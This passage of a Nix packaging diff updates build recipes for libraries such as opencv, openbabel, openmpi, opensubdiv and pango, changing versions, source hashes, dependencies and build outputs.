FIND_PACKAGE_ARGS 4.0 NAMES Microsoft.GSL +- ) +-endif() ++FetchContent_Declare( ++ GSL ++ URL ${DEP_URL_microsoft_gsl} ++ URL_HASH SHA1=${DEP_SHA1_microsoft_gsl} ++ FIND_PACKAGE_ARGS 4.0 NAMES Microsoft.GSL ++) + + FetchContent_Declare( + safeint diff --git a/pkgs/development/libraries/openbabel/default.nix b/pkgs/development/libraries/openbabel/default.nix index fe12bbffa531d..f472f7b06364a 100644 --- a/pkgs/development/libraries/openbabel/default.nix +++ b/pkgs/development/libraries/openbabel/default.nix @@ -1,21 +1,21 @@ -{ stdenv, lib, fetchFromGitHub, cmake, zlib, libxml2, eigen, python, cairo, pcre, pkg-config, swig, rapidjson }: +{ stdenv, lib, fetchFromGitHub, cmake, perl, zlib, libxml2, eigen, python, cairo, pcre, pkg-config, swig, rapidjson }: stdenv.mkDerivation rec { pname = "openbabel"; - version = "3.1.1"; + version = "unstable-06-12-23"; src = fetchFromGitHub { owner = "openbabel"; - repo = "openbabel"; - rev = "openbabel-${lib.replaceStrings ["."] ["-"] version}"; - sha256 = "sha256-wQpgdfCyBAoh4pmj9j7wPTlMtraJ62w/EShxi/olVMY="; + repo = pname; + rev = "32cf131444c1555c749b356dab44fb9fe275271f"; + hash = "sha256-V0wrZVrojCZ9Knc5H6cPzPoYWVosRZ6Sn4PX+UFEfHY="; }; postPatch = '' sed '1i#include <ctime>' -i include/openbabel/obutil.h # gcc12 ''; - buildInputs = [ zlib libxml2 eigen python cairo pcre swig rapidjson ]; + buildInputs = [ perl zlib libxml2 eigen python cairo pcre swig rapidjson ]; nativeBuildInputs = [ cmake pkg-config ]; @@ -26,13 +26,15 @@ stdenv.mkDerivation rec { "-DPYTHON_BINDINGS=ON" ]; + # Setuptools only accepts PEP 440 version strings. The "unstable" identifier + # can not be used. Instead we pretend to be the 3.2 beta release. postFixup = '' cat <<EOF > $out/lib/python$pythonMajorMinor/site-packages/setup.py from distutils.core import setup setup( name = 'pyopenbabel', - version = '${version}', + version = '3.2b1', packages = ['openbabel'], package_data = {'openbabel' : ['_openbabel.so']} ) diff --git a/pkgs/development/libraries/opencl-headers/default.nix b/pkgs/development/libraries/opencl-headers/default.nix index 6a00c86105a8a..b13dc2bb8dd71 100644 --- a/pkgs/development/libraries/opencl-headers/default.nix +++ b/pkgs/development/libraries/opencl-headers/default.nix @@ -33,7 +33,7 @@ stdenv.mkDerivation (finalAttrs: { description = "Khronos OpenCL headers version ${finalAttrs.version}"; homepage = "https://www.khronos.org/registry/cl/"; license = licenses.asl20; - platforms = platforms.unix; + platforms = platforms.unix ++ platforms.windows; maintainers = [ ]; }; }) diff --git a/pkgs/development/libraries/opencollada/default.nix b/pkgs/development/libraries/opencollada/default.nix index 340b1299e8329..d822050c08a21 100644 --- a/pkgs/development/libraries/opencollada/default.nix +++ b/pkgs/development/libraries/opencollada/default.nix @@ -14,6 +14,8 @@ stdenv.mkDerivation rec { }; patches = [ + ./pcre.patch + # fix build with gcc 13 (fetchurl { url = "https://gitweb.gentoo.org/repo/gentoo.git/plain/media-libs/opencollada/files/opencollada-1.6.68-gcc13.patch?id=b76590f9fb8615da3da9d783ad841c0e3881a27b"; @@ -27,7 +29,9 @@ stdenv.mkDerivation rec { propagatedBuildInputs = [ libxml2 pcre ]; postPatch = '' - patch -p1 < ${./pcre.patch} + # Drop blanket -Werror as it tends to fail on newer toolchain for + # minor warnings. In this case it was gcc-13 build failure. + substituteInPlace DAEValidator/CMakeLists.txt --replace-fail ' -Werror"' '"' '' + lib.optionalString stdenv.isDarwin '' substituteInPlace GeneratedSaxParser/src/GeneratedSaxParserUtils.cpp \ --replace math.h cmath diff --git a/pkgs/development/libraries/opencolorio/default.nix b/pkgs/development/libraries/opencolorio/default.nix index 21f50a6fe8a33..a5661d6e44e65 100644 --- a/pkgs/development/libraries/opencolorio/default.nix +++ b/pkgs/development/libraries/opencolorio/default.nix @@ -45,6 +45,8 @@ stdenv.mkDerivation rec { # Workaround for https://gitlab.kitware.com/cmake/cmake/-/issues/25200. # Needed for zlib >= 1.3 && cmake < 3.27.4. ./broken-cmake-zlib-version.patch + # Fix incorrect line number in test + ./line-numbers.patch ]; postPatch = lib.optionalString stdenv.isDarwin '' diff --git a/pkgs/development/libraries/opencolorio/line-numbers.patch b/pkgs/development/libraries/opencolorio/line-numbers.patch new file mode 100644 index 0000000000000..21b6820b4f868 --- /dev/null +++ b/pkgs/development/libraries/opencolorio/line-numbers.patch @@ -0,0 +1,13 @@ +diff --git a/tests/cpu/fileformats/FileFormatCTF_tests.cpp b/tests/cpu/fileformats/FileFormatCTF_tests.cpp +index 7a7ab67b..18c1f55e 100644 +--- a/tests/cpu/fileformats/FileFormatCTF_tests.cpp ++++ b/tests/cpu/fileformats/FileFormatCTF_tests.cpp +@@ -1416,7 +1416,7 @@ OCIO_ADD_TEST(FileFormatCTF, difficult_xml_unknown_elements) + "(37): Unrecognized element 'just_ignore' where its parent is 'ProcessList' (8): Unknown element", + "(69): Unrecognized element 'just_ignore' where its parent is 'Description' (66)", + "(70): Unrecognized element 'just_ignore' where its parent is 'just_ignore' (69)", +- "(75): Unrecognized element 'Matrix' where its parent is 'LUT1D' (43): 'Matrix' not allowed in this element", ++ "(75): Unrecognized element 'Matrix' where its parent is 'LUT1D' (46): 'Matrix' not allowed in this element", + "(76): Unrecognized element 'Description' where its parent is 'Matrix' (75)", + "(77): Unrecognized element 'Array' where its parent is 'Matrix' (75)" + }; diff --git a/pkgs/development/libraries/opencomposite/default.nix b/pkgs/development/libraries/opencomposite/default.nix index 935e59a53a41c..fc1b6e631964d 100644 --- a/pkgs/development/libraries/opencomposite/default.nix +++ b/pkgs/development/libraries/opencomposite/default.nix @@ -17,13 +17,13 @@ stdenv.mkDerivation { pname = "opencomposite"; - version = "unstable-2024-02-05"; + version = "unstable-2024-02-16"; src = fetchFromGitLab { owner = "znixian"; repo = "OpenOVR"; - rev = "c1649b0e4f3c4f51c12904c0b818263006d56f00"; - hash = "sha256-K8Vtd60cKmhEKMBrlNZxoC73m1BY0014ejJM2mWkwsA="; + rev = "737bbedd29343bc2f808804e2b24302390a07655"; + hash = "sha256-azb7T0d0YMQRc0Slq1tzNj6bOmCzfHW3ciY9lN+RTao="; }; nativeBuildInputs = [ diff --git a/pkgs/development/libraries/opencv/4.x.nix b/pkgs/development/libraries/opencv/4.x.nix index 7bb2649ff8944..2f24d984c062b 100644 --- a/pkgs/development/libraries/opencv/4.x.nix +++ b/pkgs/development/libraries/opencv/4.x.nix @@ -2,14 +2,14 @@ , stdenv , fetchurl , fetchFromGitHub -, fetchpatch , cmake , pkg-config , unzip , zlib -, pcre +, pcre2 , hdf5 , boost +, glib , gflags , protobuf_21 , config @@ -35,6 +35,8 @@ , eigen , enableBlas ? true , blas +, enableVA ? !stdenv.isDarwin +, libva , enableContrib ? true , enableCuda ? config.cudaSupport @@ -58,7 +60,11 @@ , enableFfmpeg ? true , ffmpeg , enableGStreamer ? true +, elfutils , gst_all_1 +, orc +, libunwind +, zstd , enableTesseract ? false , tesseract , leptonica @@ -85,7 +91,7 @@ }@inputs: let - version = "4.7.0"; + version = "4.9.0"; # It's necessary to consistently use backendStdenv when building with CUDA # support, otherwise we get libstdc++ errors downstream @@ -96,21 +102,21 @@ let owner = "opencv"; repo = "opencv"; rev = version; - sha256 = "sha256-jUeGsu8+jzzCnIFbVMCW8DcUeGv/t1yCY/WXyW+uGDI="; + hash = "sha256-3qqu4xlRyMbPKHHTIT+iRRGtpFlcv0NU8GNZpgjdi6k="; }; contribSrc = fetchFromGitHub { owner = "opencv"; repo = "opencv_contrib"; rev = version; - sha256 = "sha256-meya0J3RdOIeMM46e/6IOVwrKn3t/c0rhwP2WQaybkE="; + hash = "sha256-K74Ghk4uDqj4OWEzDxT2R3ERi+jkAWZszzezRenfuZ8="; }; testDataSrc = fetchFromGitHub { owner = "opencv"; repo = "opencv_extra"; rev = version; - sha256 = "sha256-6hAdJdaUgtRGQanQKuY/q6fcXWXFZ3K/oLbGxvksry0="; + hash = "sha256-pActKi7aN5EOZq2Fpf5mALnZq71c037/R3Q6wJ4uCfQ="; }; # Contrib must be built in order to enable Tesseract support: @@ -121,16 +127,16 @@ let src = fetchFromGitHub { owner = "opencv"; repo = "opencv_3rdparty"; - rev = "a56b6ac6f030c312b2dce17430eef13aed9af274"; - sha256 = "1msbkc3zixx61rcg6a04i1bcfhw1phgsrh93glq1n80hgsk3nbjq"; + rev = "0cc4aa06bf2bef4b05d237c69a5a96b9cd0cb85a"; + hash = "sha256-/kHivOgCkY9YdcRRaVgytXal3ChE9xFfGAB0CfFO5ec="; } + "/ippicv"; - files = let name = platform: "ippicv_2019_${platform}_general_20180723.tgz"; in + files = let name = platform: "ippicv_2021.10.0_${platform}_20230919_general.tgz"; in if effectiveStdenv.hostPlatform.system == "x86_64-linux" then - { ${name "lnx_intel64"} = "c0bd78adb4156bbf552c1dfe90599607"; } + { ${name "lnx_intel64"} = "606a19b207ebedfe42d59fd916cc4850"; } else if effectiveStdenv.hostPlatform.system == "i686-linux" then - { ${name "lnx_ia32"} = "4f38432c30bfd6423164b7a24bbc98a0"; } + { ${name "lnx_ia32"} = "ea08487b810baad2f68aca87b74a2db9"; } else if effectiveStdenv.hostPlatform.system == "x86_64-darwin" then - { ${name "mac_intel64"} = "fe6b2bb75ae0e3f19ad3ae1a31dfa4a2"; } + { ${name "mac_intel64"} = "14f01c5a4780bfae9dde9b0aaf5e56fc"; } else throw "ICV is not available for this platform (or not yet supported by this package)"; dst = ".cache/ippicv"; @@ -142,7 +148,7 @@ let owner = "opencv"; repo = "opencv_3rdparty"; rev = "fccf7cd6a4b12079f73bbfb21745f9babcd4eb1d"; - sha256 = "0r9fam8dplyqqsd3qgpnnfgf9l7lj44di19rxwbm8mxiw0rlcdvy"; + hash = "sha256-fjdGM+CxV1QX7zmF2AiR9NDknrP2PjyaxtjT21BVLmU="; }; files = { "vgg_generated_48.i" = "e8d0dcd54d1bcfdc29203d011a797179"; @@ -179,7 +185,7 @@ let owner = "opencv"; repo = "opencv_3rdparty"; rev = "8afa57abc8229d611c4937165d20e2a2d9fc5a12"; - sha256 = "061lsvqdidq9xa2hwrcvwi9ixflr2c2lfpc8drr159g68zi8bp4v"; + hash = "sha256-m9yF4kfmpRJybohdRwUTmboeU+SbZQ6F6gm32PDWNBg="; }; files = { "face_landmark_model.dat" = "7505c44ca4eb54b4ab1e4777cb96ac05"; @@ -191,10 +197,10 @@ let ade = rec { src = fetchurl { url = "https://github.com/opencv/ade/archive/${name}"; - sha256 = "sha256-TjLRbFbC7MDY9PxIy560ryviBI58cbQwqgc7A7uOHkg="; + hash = "sha256-WG/GudVpkO10kOJhoKXFMj672kggvyRYCIpezal3wcE="; }; - name = "v0.1.2a.zip"; - md5 = "fa4b3e25167319cb0fa9432ef8281945"; + name = "v0.1.2d.zip"; + md5 = "dbb095a8bf3008e91edbbf45d8d34885"; dst = ".cache/ade"; }; @@ -204,7 +210,7 @@ let owner = "opencv"; repo = "opencv_3rdparty"; rev = "a8b69ccc738421293254aec5ddb38bd523503252"; - sha256 = "sha256-/n6zHwf0Rdc4v9o4rmETzow/HTv+81DnHP+nL56XiTY="; + hash = "sha256-/n6zHwf0Rdc4v9o4rmETzow/HTv+81DnHP+nL56XiTY="; }; files = { "detect.caffemodel" = "238e2b2d6f3c18d6c3a30de0c31e23cf"; @@ -260,20 +266,6 @@ effectiveStdenv.mkDerivation { patches = [ ./cmake-don-t-use-OpenCVFindOpenEXR.patch ] ++ lib.optionals enableContrib [ - (fetchpatch { - name = "CVE-2023-2617.patch"; - url = "https://github.com/opencv/opencv_contrib/commit/ccc277247ac1a7aef0a90353edcdec35fbc5903c.patch"; - stripLen = 2; - extraPrefix = [ "opencv_contrib/" ]; - sha256 = "sha256-drZ+DVn+Pk4zAZJ+LgX5u3Tz7MU0AEI/73EVvxDP3AU="; - }) - (fetchpatch { - name = "CVE-2023-2618.patch"; - url = "https://github.com/opencv/opencv_contrib/commit/ec406fa4748fb4b0630c1b986469e7918d5e8953.patch"; - stripLen = 2; - extraPrefix = [ "opencv_contrib/" ]; - sha256 = "sha256-cB5Tsh2fDOsc0BNtSzd6U/QoCjkd9yMW1QutUU69JJ0="; - }) ] ++ lib.optional enableCuda ./cuda_opt_flow.patch; # This prevents cmake from using libraries in impure paths (which @@ -300,60 +292,104 @@ effectiveStdenv.mkDerivation { echo '"(build info elided)"' > modules/core/version_string.inc ''; - buildInputs = [ zlib pcre boost gflags protobuf_21 ] - ++ lib.optional enablePython pythonPackages.python - ++ lib.optional (effectiveStdenv.buildPlatform == effectiveStdenv.hostPlatform) hdf5 - ++ lib.optional enableGtk2 gtk2 - ++ lib.optional enableGtk3 gtk3 - ++ lib.optional enableVtk vtk - ++ lib.optional enableJPEG libjpeg - ++ lib.optional enablePNG libpng - ++ lib.optional enableTIFF libtiff - ++ lib.optional enableWebP libwebp - ++ lib.optionals enableEXR [ openexr ilmbase ] - ++ lib.optional enableJPEG2000 openjpeg - ++ lib.optional enableFfmpeg ffmpeg - ++ lib.optionals (enableFfmpeg && effectiveStdenv.isDarwin) - [ VideoDecodeAcceleration bzip2 ] - ++ lib.optionals enableGStreamer (with gst_all_1; [ gstreamer gst-plugins-base gst-plugins-good ]) - ++ lib.optional enableOvis ogre - ++ lib.optional enableGPhoto2 libgphoto2 - ++ lib.optional enableDC1394 libdc1394 - ++ lib.optional enableEigen eigen - ++ lib.optional enableBlas blas.provider + buildInputs = [ + boost + gflags + glib + pcre2 + protobuf_21 + zlib + ] ++ lib.optionals enablePython [ + pythonPackages.python + ] ++ lib.optionals (effectiveStdenv.buildPlatform == effectiveStdenv.hostPlatform) [ + hdf5 + ] ++ lib.optionals enableGtk2 [ + gtk2 + ] ++ lib.optionals enableGtk3 [ + gtk3 + ] ++ lib.optionals enableVtk [ + vtk + ] ++ lib.optionals enableJPEG [ + libjpeg + ] ++ lib.optionals enablePNG [ + libpng + ] ++ lib.optionals enableTIFF [ + libtiff + ] ++ lib.optionals enableWebP [ + libwebp + ] ++ lib.optionals enableEXR [ + openexr + ilmbase + ] ++ lib.optionals enableJPEG2000 [ + openjpeg + ] ++ lib.optionals enableFfmpeg [ + ffmpeg + ] ++ lib.optionals (enableFfmpeg && effectiveStdenv.isDarwin) [ + bzip2 + VideoDecodeAcceleration + ] ++ lib.optionals (enableGStreamer && effectiveStdenv.isLinux) (with gst_all_1; [ + elfutils + gst-plugins-base + gst-plugins-good + gstreamer + libunwind + orc + zstd + ]) ++ lib.optionals enableOvis [ + ogre + ] ++ lib.optionals enableGPhoto2 [ + libgphoto2 + ] ++ lib.optionals enableDC1394 [ + libdc1394 + ] ++ lib.optionals enableEigen [ + eigen + ] ++ lib.optionals enableVA [ + libva + ] ++ lib.optionals enableBlas [ + blas.provider + ] ++ lib.optionals enableTesseract [ # There is seemingly no compile-time flag for Tesseract. It's # simply enabled automatically if contrib is built, and it detects # tesseract & leptonica. - ++ lib.optionals enableTesseract [ tesseract leptonica ] - ++ lib.optional enableTbb tbb - ++ lib.optionals effectiveStdenv.isDarwin [ - bzip2 AVFoundation Cocoa VideoDecodeAcceleration CoreMedia MediaToolbox Accelerate - ] - ++ lib.optionals enableDocs [ doxygen graphviz-nox ] - ++ lib.optionals enableCuda (with cudaPackages; [ - cuda_cudart.lib - cuda_cudart.dev - cuda_cccl.dev # <thrust/*> - libnpp.dev # npp.h - libnpp.lib - libnpp.static - nvidia-optical-flow-sdk - ] ++ lib.optionals enableCublas [ - # May start using the default $out instead once - # https://github.com/NixOS/nixpkgs/issues/271792 - # has been addressed - libcublas.static - libcublas.lib - libcublas.dev # cublas_v2.h - ] ++ lib.optionals enableCudnn [ - cudnn.dev # cudnn.h - cudnn.lib - cudnn.static - ] ++ lib.optionals enableCufft [ - libcufft.dev # cufft.h - libcufft.lib - libcufft.static - ]); + tesseract + leptonica + ] ++ lib.optionals enableTbb [ + tbb + ] ++ lib.optionals effectiveStdenv.isDarwin [ + bzip2 + AVFoundation + Cocoa + VideoDecodeAcceleration + CoreMedia + MediaToolbox + Accelerate + ] ++ lib.optionals enableDocs [ + doxygen + graphviz-nox + ] ++ lib.optionals enableCuda (with cudaPackages; [ + cuda_cudart.lib + cuda_cudart.dev + cuda_cccl.dev # <thrust/*> + libnpp.dev # npp.h + libnpp.lib + libnpp.static + nvidia-optical-flow-sdk + ] ++ lib.optionals enableCublas [ + # May start using the default $out instead once + # https://github.com/NixOS/nixpkgs/issues/271792 + # has been addressed + libcublas.static + libcublas.lib + libcublas.dev # cublas_v2.h + ] ++ lib.optionals enableCudnn [ + cudnn.dev # cudnn.h + cudnn.lib + cudnn.static + ] ++ lib.optionals enableCufft [ + libcufft.dev # cufft.h + libcufft.lib + libcufft.static + ]); propagatedBuildInputs = lib.optionals enablePython [ pythonPackages.numpy ]; diff --git a/pkgs/development/libraries/openexr/3.nix b/pkgs/development/libraries/openexr/3.nix index 826c7b2c854f3..a59c9795b223d 100644 --- a/pkgs/development/libraries/openexr/3.nix +++ b/pkgs/development/libraries/openexr/3.nix @@ -9,13 +9,13 @@ stdenv.mkDerivation rec { pname = "openexr"; - version = "3.2.1"; + version = "3.2.2"; src = fetchFromGitHub { owner = "AcademySoftwareFoundation"; repo = "openexr"; rev = "v${version}"; - hash = "sha256-ycn2RbHM/vIDUGGGnfNZ0Zm0qjjKRRNhkMD11PkpGF0="; + hash = "sha256-7KBjZpImSaW4GiK0ZCpMcjBPQ9aMmN5LW+/m6lkGK68="; }; outputs = [ "bin" "dev" "out" "doc" ]; diff --git a/pkgs/development/libraries/openh264/default.nix b/pkgs/development/libraries/openh264/default.nix deleted file mode 100644 index c250b31ecd71f..0000000000000 --- a/pkgs/development/libraries/openh264/default.nix +++ /dev/null @@ -1,33 +0,0 @@ -{ lib, stdenv, fetchFromGitHub, nasm, windows }: - -stdenv.mkDerivation rec { - pname = "openh264"; - version = "2.4.0"; - - src = fetchFromGitHub { - owner = "cisco"; - repo = pname; - rev = "v${version}"; - hash = "sha256-vPVHXATsSWmqKOAj09WRR5jCi2NU2lq0j4K15KBzARY="; - }; - - nativeBuildInputs = [ nasm ]; - - buildInputs = lib.optional stdenv.hostPlatform.isWindows windows.pthreads; - - makeFlags = [ - "PREFIX=${placeholder "out"}" - "ARCH=${stdenv.hostPlatform.linuxArch}" - ] ++ lib.optional stdenv.hostPlatform.isWindows "OS=mingw_nt"; - - enableParallelBuilding = true; - - hardeningDisable = lib.optional stdenv.hostPlatform.isWindows "stackprotector"; - - meta = with lib; { - description = "A codec library which supports H.264 encoding and decoding"; - homepage = "https://www.openh264.org"; - license = licenses.bsd2; - platforms = platforms.unix; - }; -} diff --git a/pkgs/development/libraries/openmpi/default.nix b/pkgs/development/libraries/openmpi/default.nix index a8bd8acacd595..8c54c13c9139e 100644 --- a/pkgs/development/libraries/openmpi/default.nix +++ b/pkgs/development/libraries/openmpi/default.nix @@ -1,6 +1,6 @@ -{ lib, stdenv, fetchurl, gfortran, perl, libnl +{ lib, stdenv, fetchurl, removeReferencesTo, gfortran, perl, libnl , rdma-core, zlib, numactl, libevent, hwloc, targetPackages, symlinkJoin -, libpsm2, libfabric, pmix, ucx, ucc +, libpsm2, libfabric, pmix, ucx, ucc, makeWrapper , config # Enable CUDA support , cudaSupport ? config.cudaSupport, cudaPackages @@ -38,7 +38,7 @@ stdenv.mkDerivation rec { find -name "Makefile.in" -exec sed -i "s/\`date\`/$ts/" \{} \; ''; - outputs = [ "out" "man" ]; + outputs = [ "out" "man" "dev" ]; buildInputs = [ zlib ] ++ lib.optionals stdenv.isLinux [ libnl numactl pmix ucx ucc ] @@ -47,7 +47,7 @@ stdenv.mkDerivation rec { ++ lib.optional (stdenv.isLinux || stdenv.isFreeBSD) rdma-core ++ lib.optionals fabricSupport [ libpsm2 libfabric ]; - nativeBuildInputs = [ perl ] + nativeBuildInputs = [ perl removeReferencesTo makeWrapper ] ++ lib.optionals cudaSupport [ cudaPackages.cuda_nvcc ] ++ lib.optionals fortranSupport [ gfortran ]; @@ -71,24 +71,51 @@ stdenv.mkDerivation rec { postInstall = '' find $out/lib/ -name "*.la" -exec rm -f \{} \; + + for f in mpi shmem osh; do + for i in f77 f90 CC c++ cxx cc fort; do + moveToOutput "bin/$f$i" "''${!outputDev}" + echo "move $fi$i" + moveToOutput "share/openmpi/$f$i-wrapper-data.txt" "''${!outputDev}" + done + done + + for i in ortecc orte-info ompi_info oshmem_info opal_wrapper; do + moveToOutput "bin/$i" "''${!outputDev}" + done + + moveToOutput "share/openmpi/ortecc-wrapper-data.txt" "''${!outputDev}" ''; postFixup = '' + remove-references-to -t $dev $(readlink -f $out/lib/libopen-pal${stdenv.hostPlatform.extensions.sharedLibrary}) + remove-references-to -t $man $(readlink -f $out/lib/libopen-pal${stdenv.hostPlatform.extensions.sharedLibrary}) + + # The path to the wrapper is hard coded in libopen-pal.so, which we just cleared. + wrapProgram $dev/bin/opal_wrapper \ + --set OPAL_INCLUDEDIR $dev/include \ + --set OPAL_PKGDATADIR $dev/share/openmpi + # default compilers should be indentical to the # compilers at build time + echo "$dev/share/openmpi/mpicc-wrapper-data.txt" sed -i 's:compiler=.*:compiler=${targetPackages.stdenv.cc}/bin/${targetPackages.stdenv.cc.targetPrefix}cc:' \ - $out/share/openmpi/mpicc-wrapper-data.txt + $dev/share/openmpi/mpicc-wrapper-data.txt + echo "$dev/share/openmpi/ortecc-wrapper-data.txt" sed -i 's:compiler=.*:compiler=${targetPackages.stdenv.cc}/bin/${targetPackages.stdenv.cc.targetPrefix}cc:' \ - $out/share/openmpi/ortecc-wrapper-data.txt + $dev/share/openmpi/ortecc-wrapper-data.txt + echo "$dev/share/openmpi/mpic++-wrapper-data.txt" sed -i 's:compiler=.*:compiler=${targetPackages.stdenv.cc}/bin/${targetPackages.stdenv.cc.targetPrefix}c++:' \ - $out/share/openmpi/mpic++-wrapper-data.txt + $dev/share/openmpi/mpic++-wrapper-data.txt '' + lib.optionalString fortranSupport '' + echo "$dev/share/openmpi/mpifort-wrapper-data.txt" sed -i 's:compiler=.*:compiler=${gfortran}/bin/${gfortran.targetPrefix}gfortran:' \ - $out/share/openmpi/mpifort-wrapper-data.txt + $dev/share/openmpi/mpifort-wrapper-data.txt + ''; doCheck = true; diff --git a/pkgs/development/libraries/openscenegraph/default.nix b/pkgs/development/libraries/openscenegraph/default.nix index 62f45de2bebf3..05a5591035760 100644 --- a/pkgs/development/libraries/openscenegraph/default.nix +++ b/pkgs/development/libraries/openscenegraph/default.nix @@ -10,7 +10,7 @@ tiffSupport ? true, libtiff, gdalSupport ? false, gdal, curlSupport ? true, curl, - colladaSupport ? false, collada-dom, + colladaSupport ? false, opencollada, opencascadeSupport ? false, opencascade-occt, ffmpegSupport ? false, ffmpeg, nvttSupport ? false, nvidia-texture-tools, @@ -50,7 +50,7 @@ stdenv.mkDerivation rec { ++ lib.optional tiffSupport libtiff ++ lib.optional gdalSupport gdal ++ lib.optional curlSupport curl - ++ lib.optional colladaSupport collada-dom + ++ lib.optional colladaSupport opencollada ++ lib.optional opencascadeSupport opencascade-occt ++ lib.optional ffmpegSupport ffmpeg ++ lib.optional nvttSupport nvidia-texture-tools diff --git a/pkgs/development/libraries/opensubdiv/default.nix b/pkgs/development/libraries/opensubdiv/default.nix index 9c485949a5c09..17b7c286229b4 100644 --- a/pkgs/development/libraries/opensubdiv/default.nix +++ b/pkgs/development/libraries/opensubdiv/default.nix @@ -17,7 +17,7 @@ stdenv.mkDerivation rec { sha256 = "sha256-uDKCT0Uoa5WQekMUFm2iZmzm+oWAZ6IWMwfpchkUZY0="; }; - outputs = [ "out" "dev" ]; + outputs = [ "out" "dev" "static" ]; nativeBuildInputs = [ cmake @@ -31,9 +31,17 @@ stdenv.mkDerivation rec { glew xorg.libX11 xorg.libXrandr xorg.libXxf86vm xorg.libXcursor xorg.libXinerama xorg.libXi ] - ++ lib.optional (openclSupport && !stdenv.isDarwin) ocl-icd - ++ lib.optionals stdenv.isDarwin (with darwin.apple_sdk.frameworks; [OpenCL Cocoa CoreVideo IOKit AppKit AGL ]) - ++ lib.optional cudaSupport [ + ++ lib.optionals (openclSupport && !stdenv.isDarwin) [ ocl-icd ] + ++ lib.optionals stdenv.isDarwin (with darwin.apple_sdk.frameworks; [ + OpenCL + Cocoa + CoreVideo + IOKit + AppKit + AGL + MetalKit + ]) + ++ lib.optionals cudaSupport [ cudaPackages.cuda_cudart ]; @@ -50,7 +58,7 @@ stdenv.mkDerivation rec { [ "-DNO_TUTORIALS=1" "-DNO_REGRESSION=1" "-DNO_EXAMPLES=1" - "-DNO_METAL=1" # don’t have metal in apple sdk + (lib.cmakeBool "NO_METAL" (!stdenv.isDarwin)) (lib.cmakeBool "NO_OPENCL" (!openclSupport)) (lib.cmakeBool "NO_CUDA" (!cudaSupport)) ] ++ lib.optionals (!stdenv.isDarwin) [ @@ -65,7 +73,9 @@ stdenv.mkDerivation rec { NIX_BUILD_CORES=$(( NIX_BUILD_CORES < ${toString maxBuildCores} ? NIX_BUILD_CORES : ${toString maxBuildCores} )) ''; - postInstall = "rm $out/lib/*.a"; + postInstall = '' + moveToOutput "lib/*.a" $static + ''; meta = { description = "An Open-Source subdivision surface library"; diff --git a/pkgs/development/libraries/openvr/default.nix b/pkgs/development/libraries/openvr/default.nix index 01f73d3da667a..5bdb10549001f 100644 --- a/pkgs/development/libraries/openvr/default.nix +++ b/pkgs/development/libraries/openvr/default.nix @@ -11,13 +11,13 @@ stdenv.mkDerivation (finalAttrs: { pname = "openvr"; - version = "1.26.7"; + version = "2.2.3"; src = fetchFromGitHub { owner = "ValveSoftware"; repo = "openvr"; rev = "v${finalAttrs.version}"; - hash = "sha256-verVIRyDdpF8lIjjjG8GllDJG7nhqByIfs/8O5TMOyc="; + hash = "sha256-Dpl88Te+EoVasoCtwERGrYt3xK8o03h15r8IVxxPPCw="; }; patches = [ diff --git a/pkgs/development/libraries/openxr-loader/default.nix b/pkgs/development/libraries/openxr-loader/default.nix index 3c739d30d3862..c89baab7936b3 100644 --- a/pkgs/development/libraries/openxr-loader/default.nix +++ b/pkgs/development/libraries/openxr-loader/default.nix @@ -2,13 +2,13 @@ stdenv.mkDerivation rec { pname = "openxr-loader"; - version = "1.0.33"; + version = "1.0.34"; src = fetchFromGitHub { owner = "KhronosGroup"; repo = "OpenXR-SDK-Source"; rev = "release-${version}"; - sha256 = "sha256-26CRpxiTfZOq6sQSl0H53UmYzPY/6mP33EPObdkwnQs="; + sha256 = "sha256-AzqGNFJozmtivj+gXYHPZX2iYginQ2gXbLCImhMH9Jc="; }; nativeBuildInputs = [ cmake python3 pkg-config ]; diff --git a/pkgs/development/libraries/paho-mqtt-c/default.nix b/pkgs/development/libraries/paho-mqtt-c/default.nix index 1494327882218..0f345eb5134f2 100644 --- a/pkgs/development/libraries/paho-mqtt-c/default.nix +++ b/pkgs/development/libraries/paho-mqtt-c/default.nix @@ -1,4 +1,4 @@ -{ lib, stdenv, fetchFromGitHub, cmake, openssl }: +{ lib, stdenv, fetchFromGitHub, cmake, openssl, enableStatic ? stdenv.hostPlatform.isStatic, enableShared ? !stdenv.hostPlatform.isStatic }: stdenv.mkDerivation rec { pname = "paho.mqtt.c"; @@ -21,7 +21,11 @@ stdenv.mkDerivation rec { buildInputs = [ openssl ]; - cmakeFlags = [ "-DPAHO_WITH_SSL=TRUE" ]; + cmakeFlags = [ + (lib.cmakeBool "PAHO_WITH_SSL" true) + (lib.cmakeBool "PAHO_BUILD_STATIC" enableStatic) + (lib.cmakeBool "PAHO_BUILD_SHARED" enableShared) + ]; meta = with lib; { description = "Eclipse Paho MQTT C Client Library"; diff --git a/pkgs/development/libraries/paho-mqtt-cpp/default.nix b/pkgs/development/libraries/paho-mqtt-cpp/default.nix index 62d9aa5977927..6f1b9b215e266 100644 --- a/pkgs/development/libraries/paho-mqtt-cpp/default.nix +++ b/pkgs/development/libraries/paho-mqtt-cpp/default.nix @@ -1,4 +1,4 @@ -{ lib, stdenv, fetchFromGitHub, cmake, openssl, paho-mqtt-c }: +{ lib, stdenv, fetchFromGitHub, cmake, openssl, paho-mqtt-c, enableStatic ? stdenv.hostPlatform.isStatic, enableShared ? !stdenv.hostPlatform.isStatic }: stdenv.mkDerivation rec { pname = "paho.mqtt.cpp"; @@ -15,6 +15,12 @@ stdenv.mkDerivation rec { buildInputs = [ openssl paho-mqtt-c ]; + cmakeFlags = [ + (lib.cmakeBool "PAHO_WITH_SSL" true) + (lib.cmakeBool "PAHO_BUILD_STATIC" enableStatic) + (lib.cmakeBool "PAHO_BUILD_SHARED" enableShared) + ]; + meta = with lib; { description = "Eclipse Paho MQTT C++ Client Library"; homepage = "https://www.eclipse.org/paho/"; diff --git a/pkgs/development/libraries/pango/default.nix b/pkgs/development/libraries/pango/default.nix index 0fae50cdbfedb..fc722257a9c17 100644 --- a/pkgs/development/libraries/pango/default.nix +++ b/pkgs/development/libraries/pango/default.nix @@ -19,16 +19,17 @@ , x11Support? !stdenv.isDarwin, libXft , withIntrospection ? lib.meta.availableOn stdenv.hostPlatform gobject-introspection && stdenv.hostPlatform.emulatorAvailable buildPackages , buildPackages, gobject-introspection +, testers }: -stdenv.mkDerivation rec { +stdenv.mkDerivation (finalAttrs: { pname = "pango"; version = "1.51.0"; outputs = [ "bin" "out" "dev" ] ++ lib.optional withIntrospection "devdoc"; src = fetchurl { - url = "mirror://gnome/sources/${pname}/${lib.versions.majorMinor version}/${pname}-${version}.tar.xz"; + url = with finalAttrs; "mirror://gnome/sources/${pname}/${lib.versions.majorMinor version}/${pname}-${version}.tar.xz"; sha256 = 